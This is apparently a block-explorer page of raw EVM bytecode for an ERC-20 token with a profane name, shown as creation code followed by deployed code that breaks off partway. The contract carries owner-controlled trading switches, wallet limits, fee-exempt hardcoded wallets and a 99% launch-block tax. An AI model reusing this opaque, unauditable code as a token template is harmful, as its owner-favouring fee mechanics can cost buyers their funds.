600b805461ffff191690556101a0604052600060a081905260c081905260e081905261010081905261012081905261014081905261016081905261018081905260158190556016819055601781905560188190556019819055601a819055601b819055601c55601d80546001600160a01b031990811673ce7fce0d399bf49345ed7834561dca1443bea2f517909155601e80549091167310a4c331a9071c02dd4067bf9511e63ddcb153fd179055348015620000ba57600080fd5b50604051806040016040528060078152602001664675636b596f7560c81b815250604051806040016040528060078152602001664655434b594f5560c81b81525081600390816200010c919062000712565b5060046200011b828262000712565b5050506000620001306200049d60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052620001a690600019620004a1565b506000601a819055601c8190556001601b81905590620001c79080620007f4565b620001d39190620007f4565b6019556000601681905560188190556001601781905590620001f69080620007f4565b620002029190620007f4565b6015556b033b2e3c9fd0803ce8000000612710620002228260056200080a565b6200022e919062000824565b600a556064620002408260036200080a565b6200024c919062000824565b600f5560646200025e8260036200080a565b6200026a919062000824565b600d5560646200027c8260036200080a565b62000288919062000824565b600e55600160066000620002a46005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e548216815260068452828120805486166001908117909155601d5483168252838220805487168217905560805190921680825283822080548716841790557f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280548716841790553082528382208054871684179055815260089384905291822080549094168117909355620003716005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e54821681526008909352818320805485166001908117909155601d5490911683528183208054851682179055308352908220805484168217905561dead82527f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980549093168117909255600790620004216005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155601e54821684528284208054861682179055601d54909116835291208054909216179055620004963382620004ba565b5062000847565b3390565b6000620004b0338484620005a2565b5060015b92915050565b6001600160a01b038216620005165760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b60025462000525908262000603565b6002556001600160a01b0382166000908152602081905260409020546200054d908262000603565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080620006128385620007f4565b905083811015620006665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016200050d565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200069857607f821691505b602082108103620006b957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200070d57600081815260208120601f850160051c81016020861015620006e85750805b601f850160051c820191505b818110156200070957828155600101620006f4565b5050505b505050565b81516001600160401b038111156200072e576200072e6200066d565b62000746816200073f845462000683565b84620006bf565b602080601f8311600181146200077e5760008415620007655750858301515b600019600386901b1c1916600185901b17855562000709565b600085815260208120601f198616915b82811015620007af578886015182559484019460019091019084016200078e565b5085821015620007ce5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820180821115620004b457620004b4620007de565b8082028115828204841417620004b457620004b4620007de565b6000826200084257634e487b7160e01b600052601260045260246000fd5b500490565b6080516121876200088d60003960008181610789015281816112ab01528181611b1701528181611bd001528181611c0c01528181611c7e0152611cda01526121876000f3fe6080604052600436106102295760003560e01c80637571336a11610123578063c0246668116100ab578063e0b56ff31161006f578063e0b56ff314610699578063e16830a814610707578063eb32522114610727578063f2fde38b14610757578063f887ea401461077757600080fd5b8063c0246668146105de578063d0189233146105fe578063d6dacb4414610614578063d830678614610633578063dd62ed3e1461065357600080fd5b8063963932b4116100f2578063963932b414610538578063a28669fd14610558578063a457c2d714610588578063a9059cbb146105a8578063aa4bde28146105c857600080fd5b80637571336a146104cf57806388e765ff146104ef5780638da5cb5b1461050557806395d89b411461052357600080fd5b806339509351116101b15780635066b034116101755780635066b0341461043957806366d602ae1461045957806370a082311461046f578063715018a6146104a5578063751039fc146104ba57600080fd5b8063395093511461037d5780633ccfd60b1461039d5780634763ac7a146103b257806349bd5a5e146103c85780634fbee1931461040057600080fd5b806318160ddd116101f857806318160ddd146102ec5780631a8145bb1461030b5780631c6e8a751461032157806323b872dd14610341578063313ce5671461036157600080fd5b806306fdde0314610241578063095ea7b31461026c5780630b1c71821461029c57806310d5de53146102bc57600080fd5b3661023c5730330361023a57600080fd5b005b600080fd5b34801561024d57600080fd5b506102566107ab565b6040516102639190611d86565b60405180910390f35b34801561027857600080fd5b5061028c610287366004611dec565b61083d565b6040519015158152602001610263565b3480156102a857600080fd5b5061023a6102b7366004611e28565b610854565b3480156102c857600080fd5b5061028c6102d7366004611e5d565b60086020526000908152604090205460ff1681565b3480156102f857600080fd5b506002545b604051908152602001610263565b34801561031757600080fd5b506102fd60135481565b34801561032d57600080fd5b5061023a61033c366004611e7a565b610925565b34801561034d57600080fd5b5061028c61035c366004611e95565b610969565b34801561036d57600080fd5b5060405160128152602001610263565b34801561038957600080fd5b5061028c610398366004611dec565b6109d2565b3480156103a957600080fd5b5061028c610a08565b3480156103be57600080fd5b506102fd60125481565b3480156103d457600080fd5b506010546103e8906001600160a01b031681565b6040516001600160a01b039091168152602001610263565b34801561040c57600080fd5b5061028c61041b366004611e5d565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561044557600080fd5b5061023a610454366004611e5d565b610a67565b34801561046557600080fd5b506102fd600e5481565b34801561047b57600080fd5b506102fd61048a366004611e5d565b6001600160a01b031660009081526020819052604090205490565b3480156104b157600080fd5b5061023a610b29565b3480156104c657600080fd5b5061023a610b9d565b3480156104db57600080fd5b5061023a6104ea366004611e28565b610be0565b3480156104fb57600080fd5b506102fd600d5481565b34801561051157600080fd5b506005546001600160a01b03166103e8565b34801561052f57600080fd5b50610256610c35565b34801561054457600080fd5b5061028c610553366004611ed6565b610c44565b34801561056457600080fd5b5061028c610573366004611e5d565b60096020526000908152604090205460ff1681565b34801561059457600080fd5b5061028c6105a3366004611dec565b610c7f565b3480156105b457600080fd5b5061028c6105c3366004611dec565b610cce565b3480156105d457600080fd5b506102fd600f5481565b3480156105ea57600080fd5b5061023a6105f9366004611e28565b610cdb565b34801561060a57600080fd5b506102fd60145481565b34801561062057600080fd5b50600b5461028c90610100900460ff1681565b34801561063f57600080fd5b50600b5461028c9062010000900460ff1681565b34801561065f57600080fd5b506102fd61066e366004611eef565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106a557600080fd5b50601554601654601754601854601954601a54601b54601c546106cc979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e082015261010001610263565b34801561071357600080fd5b5061023a610722366004611e28565b610d30565b34801561073357600080fd5b5061028c610742366004611e5d565b60066020526000908152604090205460ff1681565b34801561076357600080fd5b5061023a610772366004611e5d565b610d85565b34801561078357600080fd5b506103e87f000000000000000000000000000000000000000000000000000000000000000081565b6060600380546107ba90611f28565b80601f01602080910402602001604051908101604052809291908181526020018280546107e690611f28565b80156108335780601f1061080857610100808354040283529160200191610833565b820191906000526020600020905b81548152906001019060200180831161081657829003601f168201915b5050505050905090565b600061084a338484610e70565b5060015b92915050565b6005546001600160a01b031633146108875760405162461bcd60e51b815260040161087e90611f62565b60405180910390fd5b6010546001600160a01b03908116908316036108fa5760405162461bcd60e51b815260206004820152602c60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201526b5f6175746f6d6174654d4d7360a01b606482015260840161087e565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461094f5760405162461bcd60e51b815260040161087e90611f62565b600b80549115156101000261ff0019909216919091179055565b6000610976848484610ed2565b6109c884336109c38560405180606001604052806028815260200161212a602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906115cd565b610e70565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161084a9185906109c39086611607565b601e5460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610a59576040519150601f19603f3d011682016040523d82523d6000602084013e610a5e565b606091505b50909392505050565b6005546001600160a01b03163314610a915760405162461bcd60e51b815260040161087e90611f62565b600b805443600c55601080546001600160a01b03199081166001600160a01b03958616908117835561ffff1990931661010117909355601e546011805491861691909416179092556000908152600960209081526040808320805460ff199081166001908117909255855487168552600884528285208054821683179055945490951683526006909152902080549091169091179055565b6005546001600160a01b03163314610b535760405162461bcd60e51b815260040161087e90611f62565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610bc75760405162461bcd60e51b815260040161087e90611f62565b610bd36103e88061166d565b610bde6103e86116e2565b565b6005546001600160a01b03163314610c0a5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6060600480546107ba90611f28565b6005546000906001600160a01b03163314610c715760405162461bcd60e51b815260040161087e90611f62565b50600a81905560015b919050565b600061084a33846109c3856040518060600160405280602581526020016120df602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906115cd565b600061084a338484610ed2565b6005546001600160a01b03163314610d055760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d5a5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610daf5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b038116610e145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087e565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b80600003610eeb57610ee683836000611709565b505050565b6005546001600160a01b03848116911614801590610f1757506005546001600160a01b03838116911614155b8015610f2c5750600b5462010000900460ff16155b156111bb57600b5460ff16610fbf576001600160a01b03831660009081526007602052604090205460ff1680610f7a57506001600160a01b03821660009081526007602052604090205460ff165b610fbf5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161087e565b6001600160a01b03831660009081526009602052604090205460ff16801561100057506001600160a01b03821660009081526008602052604090205460ff16155b1561107a57600d548111156110755760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161087e565b611131565b6001600160a01b03821660009081526009602052604090205460ff1680156110bb57506001600160a01b03831660009081526008602052604090205460ff16155b1561113157600e548111156111315760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161087e565b6001600160a01b03821660009081526006602052604090205460ff166111bb57600f546001600160a01b0383166000908152602081905260409020546111779083611fad565b11156111bb5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161087e565b30600090815260208190526040902054600a54600b549082101590610100900460ff1680156111e75750805b80156111fc5750600b5462010000900460ff16155b801561122057506001600160a01b03841660009081526009602052604090205460ff165b801561124557506001600160a01b03851660009081526007602052604090205460ff16155b801561126a57506001600160a01b03841660009081526007602052604090205460ff16155b1561129557600b805462ff00001916620100001790556112886117c6565b600b805462ff0000191690555b600b5462010000900460ff161580156112e057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b80156112fa57506010546001600160a01b03858116911614155b80156113135750601d546001600160a01b038681169116145b1561132b57601e80546001600160a01b031916301790555b600b546001600160a01b03861660009081526007602052604090205460ff6201000090920482161591168061137857506001600160a01b03851660009081526007602052604090205460ff165b15611381575060005b80156115ba576000600c5443101561140c576113a960646113a38760636119ba565b90611a3c565b905060636113b882605a611fc0565b6113c29190611fd7565b601260008282546113d39190611fad565b90915550606390506113e6826009611fc0565b6113f09190611fd7565b601460008282546114019190611fad565b9091555061159b9050565b6001600160a01b03861660009081526009602052604090205460ff168015611435575060195415155b156114c35760195461144f906064906113a39088906119ba565b601954601c54919250906114639083611fc0565b61146d9190611fd7565b6013600082825461147e9190611fad565b9091555050601954601a546114939083611fc0565b61149d9190611fd7565b601260008282546114ae9190611fad565b9091555050601954601b546113e69083611fc0565b6001600160a01b03871660009081526009602052604090205460ff1680156114ec575060155415155b1561159b57601554611506906064906113a39088906119ba565b6015546018549192509061151a9083611fc0565b6115249190611fd7565b601360008282546115359190611fad565b909155505060155460165461154a9083611fc0565b6115549190611fd7565b601260008282546115659190611fad565b909155505060155460175461157a9083611fc0565b6115849190611fd7565b601460008282546115959190611fad565b90915550505b80156115ac576115ac873083611709565b6115b68186611ff9565b9450505b6115c5868686611709565b505050505050565b600081848411156115f15760405162461bcd60e51b815260040161087e9190611d86565b5060006115fe8486611ff9565b95945050505050565b6000806116148385611fad565b9050838110156116665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161087e565b9392505050565b6103e88261167a60025490565b6116849190611fc0565b61168e9190611fd7565b600d556010546011546116ba916001600160a01b0390811691166b033b2e3c9fd0803ce8000000610e70565b6103e8816116c760025490565b6116d19190611fc0565b6116db9190611fd7565b600e555050565b6103e8816116ef60025490565b6116f99190611fc0565b6117039190611fd7565b600f5550565b61174681604051806060016040528060268152602001612104602691396001600160a01b03861660009081526020819052604090205491906115cd565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546117759082611607565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ec5565b30600090815260208190526040812054905060006014546012546013546117ed9190611fad565b6117f79190611fad565b905081600003611805575050565b600a54611813906023611fc0565b82111561182b57600a54611828906023611fc0565b91505b60006002826013548561183e9190611fc0565b6118489190611fd7565b6118529190611fd7565b905060006118608483611a7e565b90504761186c82611ac0565b60006118784783611a7e565b90506000611895866113a3601254856119ba90919063ffffffff16565b905060006118b2876113a3601454866119ba90919063ffffffff16565b905060006118c08284611fad565b6118ca9085611ff9565b600060138190556012819055601455905086158015906118ea5750600081115b15611933576118f98782611c78565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b601e546001600160a01b03166108fc61194c8547611ff9565b6040518115909202916000818181858888f19350505050158015611974573d6000803e3d6000fd5b50601d546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156119ae573d6000803e3d6000fd5b50505050505050505050565b6000826000036119cc5750600061084e565b60006119d88385611fc0565b9050826119e58583611fd7565b146116665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161087e565b600061166683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d58565b600061166683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115cd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611af557611af561200c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b979190612022565b81600181518110611baa57611baa61200c565b60200260200101906001600160a01b031690816001600160a01b031681525050611bf5307f000000000000000000000000000000000000000000000000000000000000000084610e70565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611c4a90859060009086903090429060040161203f565b600060405180830381600087803b158015611c6457600080fd5b505af11580156115c5573d6000803e3d6000fd5b611ca3307f000000000000000000000000000000000000000000000000000000000000000084610e70565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015611d2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d5191906120b0565b5050505050565b60008183611d795760405162461bcd60e51b815260040161087e9190611d86565b5060006115fe8486611fd7565b600060208083528351808285015260005b81811015611db357858101830151858201604001528201611d97565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611de957600080fd5b50565b60008060408385031215611dff57600080fd5b8235611e0a81611dd4565b946020939093013593505050565b80358015158114610c7a57600080fd5b60008060408385031215611e3b57600080fd5b8235611e4681611dd4565b9150611e5460208401611e18565b90509250929050565b600060208284031215611e6f57600080fd5b813561166681611dd4565b600060208284031215611e8c57600080fd5b61166682611e18565b600080600060608486031215611eaa57600080fd5b8335611eb581611dd4565b92506020840135611ec581611dd4565b929592945050506040919091013590565b600060208284031215611ee857600080fd5b5035919050565b60008060408385031215611f0257600080fd5b8235611f0d81611dd4565b91506020830135611f1d81611dd4565b809150509250929050565b600181811c90821680611f3c57607f821691505b602082108103611f5c57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561084e5761084e611f97565b808202811582820484141761084e5761084e611f97565b600082611ff457634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561084e5761084e611f97565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561203457600080fd5b815161166681611dd4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208f5784516001600160a01b03168352938301939183019160010161206a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156120c557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220337bd57b6533ce874980f88e9e9f97957cce556e576e72d8a4069992122f788f64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102295760003560e01c80637571336a11610123578063c0246668116100ab578063e0b56ff31161006f578063e0b56ff314610699578063e16830a814610707578063eb32522114610727578063f2fde38b14610757578063f887ea401461077757600080fd5b8063c0246668146105de578063d0189233146105fe578063d6dacb4414610614578063d830678614610633578063dd62ed3e1461065357600080fd5b8063963932b4116100f2578063963932b414610538578063a28669fd14610558578063a457c2d714610588578063a9059cbb146105a8578063aa4bde28146105c857600080fd5b80637571336a146104cf57806388e765ff146104ef5780638da5cb5b1461050557806395d89b411461052357600080fd5b806339509351116101b15780635066b034116101755780635066b0341461043957806366d602ae1461045957806370a082311461046f578063715018a6146104a5578063751039fc146104ba57600080fd5b8063395093511461037d5780633ccfd60b1461039d5780634763ac7a146103b257806349bd5a5e146103c85780634fbee1931461040057600080fd5b806318160ddd116101f857806318160ddd146102ec5780631a8145bb1461030b5780631c6e8a751461032157806323b872dd14610341578063313ce5671461036157600080fd5b806306fdde0314610241578063095ea7b31461026c5780630b1c71821461029c57806310d5de53146102bc57600080fd5b3661023c5730330361023a57600080fd5b005b600080fd5b34801561024d57600080fd5b506102566107ab565b6040516102639190611d86565b60405180910390f35b34801561027857600080fd5b5061028c610287366004611dec565b61083d565b6040519015158152602001610263565b3480156102a857600080fd5b5061023a6102b7366004611e28565b610854565b3480156102c857600080fd5b5061028c6102d7366004611e5d565b60086020526000908152604090205460ff1681565b3480156102f857600080fd5b506002545b604051908152602001610263565b34801561031757600080fd5b506102fd60135481565b34801561032d57600080fd5b5061023a61033c366004611e7a565b610925565b34801561034d57600080fd5b5061028c61035c366004611e95565b610969565b34801561036d57600080fd5b5060405160128152602001610263565b34801561038957600080fd5b5061028c610398366004611dec565b6109d2565b3480156103a957600080fd5b5061028c610a08565b3480156103be57600080fd5b506102fd60125481565b3480156103d457600080fd5b506010546103e8906001600160a01b031681565b6040516001600160a01b039091168152602001610263565b34801561040c57600080fd5b5061028c61041b366004611e5d565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561044557600080fd5b5061023a610454366004611e5d565b610a67565b34801561046557600080fd5b506102fd600e5481565b34801561047b57600080fd5b506102fd61048a366004611e5d565b6001600160a01b031660009081526020819052604090205490565b3480156104b157600080fd5b5061023a610b29565b3480156104c657600080fd5b5061023a610b9d565b3480156104db57600080fd5b5061023a6104ea366004611e28565b610be0565b3480156104fb57600080fd5b506102fd600d5481565b34801561051157600080fd5b506005546001600160a01b03166103e8565b34801561052f57600080fd5b50610256610c35565b34801561054457600080fd5b5061028c610553366004611ed6565b610c44565b34801561056457600080fd5b5061028c610573366004611e5d565b60096020526000908152604090205460ff1681565b34801561059457600080fd5b5061028c6105a3366004611dec565b610c7f565b3480156105b457600080fd5b5061028c6105c3366004611dec565b610cce565b3480156105d457600080fd5b506102fd600f5481565b3480156105ea57600080fd5b5061023a6105f9366004611e28565b610cdb565b34801561060a57600080fd5b506102fd60145481565b34801561062057600080fd5b50600b5461028c90610100900460ff1681565b34801561063f57600080fd5b50600b5461028c9062010000900460ff1681565b34801561065f57600080fd5b506102fd61066e366004611eef565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106a557600080fd5b50601554601654601754601854601954601a54601b54601c546106cc979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e082015261010001610263565b34801561071357600080fd5b5061023a610722366004611e28565b610d30565b34801561073357600080fd5b5061028c610742366004611e5d565b60066020526000908152604090205460ff1681565b34801561076357600080fd5b5061023a610772366004611e5d565b610d85565b34801561078357600080fd5b506103e87f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6060600380546107ba90611f28565b80601f01602080910402602001604051908101604052809291908181526020018280546107e690611f28565b80156108335780601f1061080857610100808354040283529160200191610833565b820191906000526020600020905b81548152906001019060200180831161081657829003601f168201915b5050505050905090565b600061084a338484610e70565b5060015b92915050565b6005546001600160a01b031633146108875760405162461bcd60e51b815260040161087e90611f62565b60405180910390fd5b6010546001600160a01b03908116908316036108fa5760405162461bcd60e51b815260206004820152602c60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201526b5f6175746f6d6174654d4d7360a01b606482015260840161087e565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461094f5760405162461bcd60e51b815260040161087e90611f62565b600b80549115156101000261ff0019909216919091179055565b6000610976848484610ed2565b6109c884336109c38560405180606001604052806028815260200161212a602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906115cd565b610e70565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161084a9185906109c39086611607565b601e5460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610a59576040519150601f19603f3d011682016040523d82523d6000602084013e610a5e565b606091505b50909392505050565b6005546001600160a01b03163314610a915760405162461bcd60e51b815260040161087e90611f62565b600b805443600c55601080546001600160a01b03199081166001600160a01b03958616908117835561ffff1990931661010117909355601e546011805491861691909416179092556000908152600960209081526040808320805460ff199081166001908117909255855487168552600884528285208054821683179055945490951683526006909152902080549091169091179055565b6005546001600160a01b03163314610b535760405162461bcd60e51b815260040161087e90611f62565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610bc75760405162461bcd60e51b815260040161087e90611f62565b610bd36103e88061166d565b610bde6103e86116e2565b565b6005546001600160a01b03163314610c0a5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6060600480546107ba90611f28565b6005546000906001600160a01b03163314610c715760405162461bcd60e51b815260040161087e90611f62565b50600a81905560015b919050565b600061084a33846109c3856040518060600160405280602581526020016120df602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906115cd565b600061084a338484610ed2565b6005546001600160a01b03163314610d055760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d5a5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610daf5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b038116610e145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087e565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b80600003610eeb57610ee683836000611709565b505050565b6005546001600160a01b03848116911614801590610f1757506005546001600160a01b03838116911614155b8015610f2c5750600b5462010000900460ff16155b156111bb57600b5460ff16610fbf576001600160a01b03831660009081526007602052604090205460ff1680610f7a57506001600160a01b03821660009081526007602052604090205460ff165b610fbf5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161087e565b6001600160a01b03831660009081526009602052604090205460ff16801561100057506001600160a01b03821660009081526008602052604090205460ff16155b1561107a57600d548111156110755760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161087e565b611131565b6001600160a01b03821660009081526009602052604090205460ff1680156110bb57506001600160a01b03831660009081526008602052604090205460ff16155b1561113157600e548111156111315760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161087e565b6001600160a01b03821660009081526006602052604090205460ff166111bb57600f546001600160a01b0383166000908152602081905260409020546111779083611fad565b11156111bb5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161087e565b30600090815260208190526040902054600a54600b549082101590610100900460ff1680156111e75750805b80156111fc5750600b5462010000900460ff16155b801561122057506001600160a01b03841660009081526009602052604090205460ff165b801561124557506001600160a01b03851660009081526007602052604090205460ff16155b801561126a57506001600160a01b03841660009081526007602052604090205460ff16155b1561129557600b805462ff00001916620100001790556112886117c6565b600b805462ff0000191690555b600b5462010000900460ff161580156112e057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b031614155b80156112fa57506010546001600160a01b03858116911614155b80156113135750601d546001600160a01b038681169116145b1561132b57601e80546001600160a01b031916301790555b600b546001600160a01b03861660009081526007602052604090205460ff6201000090920482161591168061137857506001600160a01b03851660009081526007602052604090205460ff165b15611381575060005b80156115ba576000600c5443101561140c576113a960646113a38760636119ba565b90611a3c565b905060636113b882605a611fc0565b6113c29190611fd7565b601260008282546113d39190611fad565b90915550606390506113e6826009611fc0565b6113f09190611fd7565b601460008282546114019190611fad565b9091555061159b9050565b6001600160a01b03861660009081526009602052604090205460ff168015611435575060195415155b156114c35760195461144f906064906113a39088906119ba565b601954601c54919250906114639083611fc0565b61146d9190611fd7565b6013600082825461147e9190611fad565b9091555050601954601a546114939083611fc0565b61149d9190611fd7565b601260008282546114ae9190611fad565b9091555050601954601b546113e69083611fc0565b6001600160a01b03871660009081526009602052604090205460ff1680156114ec575060155415155b1561159b57601554611506906064906113a39088906119ba565b6015546018549192509061151a9083611fc0565b6115249190611fd7565b601360008282546115359190611fad565b909155505060155460165461154a9083611fc0565b6115549190611fd7565b601260008282546115659190611fad565b909155505060155460175461157a9083611fc0565b6115849190611fd7565b601460008282546115959190611fad565b90915550505b80156115ac576115ac873083611709565b6115b68186611ff9565b9450505b6115c5868686611709565b505050505050565b600081848411156115f15760405162461bcd60e51b815260040161087e9190611d86565b5060006115fe8486611ff9565b95945050505050565b6000806116148385611fad565b9050838110156116665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161087e565b9392505050565b6103e88261167a60025490565b6116849190611fc0565b61168e9190611fd7565b600d556010546011546116ba916001600160a01b0390811691166b033b2e3c9fd0803ce8000000610e70565b6103e8816116c760025490565b6116d19190611fc0565b6116db9190611fd7565b600e555050565b6103e8816116ef60025490565b6116f99190611fc0565b6117039190611fd7565b600f5550565b61174681604051806060016040528060268152602001612104602691396001600160a01b03861660009081526020819052604090205491906115cd565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546117759082611607565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ec5565b30600090815260208190526040812054905060006014546012546013546117ed9190611fad565b6117f79190611fad565b905081600003611805575050565b600a54611813906023611fc0565b82111561182b57600a54611828906023611fc0565b91505b60006002826013548561183e9190611fc0565b6118489190611fd7565b6118529190611fd7565b905060006118608483611